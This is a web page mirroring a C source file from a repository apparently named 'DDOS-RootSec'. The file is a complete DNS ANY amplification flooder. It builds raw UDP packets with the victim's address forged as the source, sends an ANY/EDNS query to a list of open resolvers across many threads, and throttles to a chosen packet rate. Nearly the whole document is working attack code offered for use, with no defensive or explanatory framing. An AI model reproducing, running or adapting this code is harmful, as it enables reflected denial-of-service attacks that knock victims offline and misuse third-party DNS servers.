Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP Methods/Miscellaneous (not worth individual mention)/dns.c
4622 views
1
/*-------------------------------
2
DNS Any amplification on the dumb template C script.
3
Mostly RRSIG, TXT, and A records.
4
Change payload to reference just Type:RRSIG if needed --> \x2e
5
Refined by Phenomite.
6
-------------------------------*/
7
#include <arpa/inet.h>
8
#include <netinet/ip.h>
9
#include <netinet/udp.h>
10
#include <pthread.h>
11
#include <stdio.h>
12
#include <stdlib.h>
13
#include <string.h>
14
#include <sys/socket.h>
15
#include <time.h>
16
#include <unistd.h>
17
18
/* using TLD "sl" at the moment */
19
static const char PAYLOAD[] =
20
"\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff"
21
"\x00\x01\x00\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00";
22
static unsigned int DPORT = 53;
23
24
// Phenomite template begin
25
#define MAX_PACKET_SIZE 4096
26
#define PHI 0xaaf219b9
27
static uint32_t Q[4096], c = 362436;
28
static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;
29
30
struct list {
31
struct sockaddr_in data;
32
struct list *next;
33
struct list *prev;
34
};
35
struct list *head;
36
volatile int tehport;
37
volatile int limiter;
38
volatile unsigned int pps;
39
volatile unsigned int sleeptime = 100;
40
struct thread_data {
41
int thread_id;
42
struct list *list_node;
43
struct sockaddr_in sin;
44
};
45
46
void init_rand(uint32_t x) {
47
int i;
48
Q[0] = x;
49
Q[1] = x + PHI;
50
Q[2] = x + PHI + PHI;
51
for (i = 3; i < 4096; i++) {
52
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
53
}
54
}
55
56
uint32_t rand_cmwc(void) {
57
uint64_t t, a = 18782LL;
58
static uint32_t i = 4095;
59
uint32_t x, r = 0xfffffffe;
60
i = (i + 1) & 4095;
61
t = a * Q[i] + c;
62
c = (t >> 32);
63
x = t + c;
64
if (x < c) {
65
x++;
66
c++;
67
}
68
return (Q[i] = r - x);
69
}
70
71
/* function for header checksums */
72
unsigned short csum(unsigned short *buf, int nwords) {
73
unsigned long sum;
74
for (sum = 0; nwords > 0; nwords--)
75
sum += *buf++;
76
sum = (sum >> 16) + (sum & 0xffff);
77
sum += (sum >> 16);
78
return (unsigned short)(~sum);
79
}
80
81
void setup_ip_header(struct iphdr *iph) {
82
iph->ihl = 5;
83
iph->version = 4;
84
iph->tos = 0;
85
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
86
iph->id = htonl(61337);
87
iph->frag_off = 0;
88
iph->ttl = MAXTTL;
89
iph->protocol = IPPROTO_UDP;
90
iph->check = 0;
91
iph->saddr = inet_addr("127.0.0.1");
92
}
93
void setup_udp_header(struct udphdr *udph) {
94
udph->source = htons(61337);
95
udph->dest = htons(DPORT);
96
udph->check = 0;
97
memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
98
udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
99
}
100
void *flood(void *par1) {
101
struct thread_data *td = (struct thread_data *)par1;
102
char datagram[MAX_PACKET_SIZE];
103
struct iphdr *iph = (struct iphdr *)datagram;
104
struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
105
struct sockaddr_in sin = td->sin;
106
struct list *list_node = td->list_node;
107
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
108
if (s < 0) {
109
fprintf(stderr, "Could not open raw socket.\n");
110
exit(-1);
111
}
112
init_rand(time(NULL));
113
memset(datagram, 0, MAX_PACKET_SIZE);
114
setup_ip_header(iph);
115
setup_udp_header(udph);
116
udph->source = htons(tehport);
117
iph->saddr = sin.sin_addr.s_addr;
118
iph->daddr = list_node->data.sin_addr.s_addr;
119
iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
120
int tmp = 1;
121
const int *val = &tmp;
122
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
123
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
124
exit(-1);
125
}
126
init_rand(time(NULL));
127
register unsigned int i;
128
i = 0;
129
while (1) {
130
list_node = list_node->next;
131
iph->daddr = list_node->data.sin_addr.s_addr;
132
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
133
iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
134
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
135
sizeof(list_node->data));
136
pps++;
137
if (i >= limiter) {
138
i = 0;
139
usleep(sleeptime);
140
}
141
i++;
142
}
143
}
144
int main(int argc, char *argv[]) {
145
if (argc < 6) {
146
fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
147
argv[0]);
148
exit(-1);
149
}
150
srand(time(NULL));
151
int i = 0;
152
head = NULL;
153
fprintf(stdout, "Loading list to buffer\n");
154
int max_len = 512;
155
char *buffer = (char *)malloc(max_len);
156
buffer = memset(buffer, 0x00, max_len);
157
tehport = atoi(argv[2]);
158
int num_threads = atoi(argv[4]);
159
int maxpps = atoi(argv[5]);
160
limiter = 0;
161
pps = 0;
162
int multiplier = 20;
163
FILE *list_fd = fopen(argv[3], "r");
164
while (fgets(buffer, max_len, list_fd) != NULL) {
165
if ((buffer[strlen(buffer) - 1] == '\n') ||
166
(buffer[strlen(buffer) - 1] == '\r')) {
167
buffer[strlen(buffer) - 1] = 0x00;
168
if (head == NULL) {
169
head = (struct list *)malloc(sizeof(struct list));
170
bzero(&head->data, sizeof(head->data));
171
head->data.sin_addr.s_addr = inet_addr(buffer);
172
head->next = head;
173
head->prev = head;
174
} else {
175
struct list *new_node = (struct list *)malloc(sizeof(struct list));
176
memset(new_node, 0x00, sizeof(struct list));
177
new_node->data.sin_addr.s_addr = inet_addr(buffer);
178
new_node->prev = head;
179
new_node->next = head->next;
180
head->next = new_node;
181
}
182
i++;
183
} else {
184
continue;
185
}
186
}
187
struct list *current = head->next;
188
pthread_t thread[num_threads];
189
struct sockaddr_in sin;
190
sin.sin_family = AF_INET;
191
sin.sin_addr.s_addr = inet_addr(argv[1]);
192
struct thread_data td[num_threads];
193
for (i = 0; i < num_threads; i++) {
194
td[i].thread_id = i;
195
td[i].sin = sin;
196
td[i].list_node = current;
197
pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
198
}
199
fprintf(stdout, "Yeeting\n");
200
for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
201
usleep((1000 / multiplier) * 1000);
202
if ((pps * multiplier) > maxpps) {
203
if (1 > limiter) {
204
sleeptime += 100;
205
} else {
206
limiter--;
207
}
208
} else {
209
limiter++;
210
if (sleeptime > 25) {
211
sleeptime -= 25;
212
} else {
213
sleeptime = 0;
214
}
215
}
216
pps = 0;
217
}
218
return 0;
219
}
220
221